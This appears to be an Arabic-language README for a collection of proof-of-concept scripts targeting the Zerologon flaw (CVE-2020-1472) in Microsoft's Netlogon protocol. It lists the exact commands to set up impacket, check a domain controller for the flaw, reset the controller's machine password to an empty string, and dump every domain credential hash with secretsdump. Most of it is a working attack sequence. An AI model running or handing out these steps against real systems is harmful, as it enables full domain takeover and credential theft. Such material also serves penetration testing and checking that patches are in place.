Zerologon

مجموعة من النصوص البرمجية، لاختبار واستغلال ثغرة zerologon (CVE-2020-1472)

---

ما هي؟

ZeroLogon هي ثغرة تسمح لنا باستغلال عيب في تشفير بروتوكول Netlogon Remote Protocol (MS-NRPC) الخاص بخدمة Active Directory من مايكروسوفت، والذي يسمح للمستخدمين بتسجيل الدخول إلى الخوادم باستخدام NTLM.

---

الخطوات السابقة

قبل تنفيذ الاستغلال، يجب أن نعلم أننا نحتاج إلى إصدار مختلف من impacket، ولذلك سنفعل ما يلي.

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

---

إثبات المفهوم (PoC)

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

التحقق مما إذا كان وحدة تحكم المجال الضحية عرضة لثغرة zerologon.

python3 tester.py <DC-NAME> <ip-address>

في حال كان وحدة تحكم المجال الضحية عرضة للثغرة، ستظهر رسالة تقول "Success! DC can be fully compromised by a Zerologon attack."

وإلا، أي أن وحدة تحكم المجال الضحية غير عرضة للثغرة بسبب تطبيق التصحيح الأمني، سنحصل على الرسالة التالية "Attack failed. Target is probably patched."

---

تغيير كلمة مرور وحدة تحكم المجال الضعيفة إلى سلسلة فارغة.

python3 empty_pw.py <DC-NAME> <ip-address>

إذا كانت وحدة تحكم المجال عرضة للثغرة، بعد تشغيل الاستغلال يجب ألا تحتوي على أي كلمة مرور.

تفريغ تجزئات (hashes) وحدة تحكم المجال.

> secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

بتنفيذ هذا، سنتمكن من رؤية جميع تجزئات المجال، دون أي بيانات اعتماد.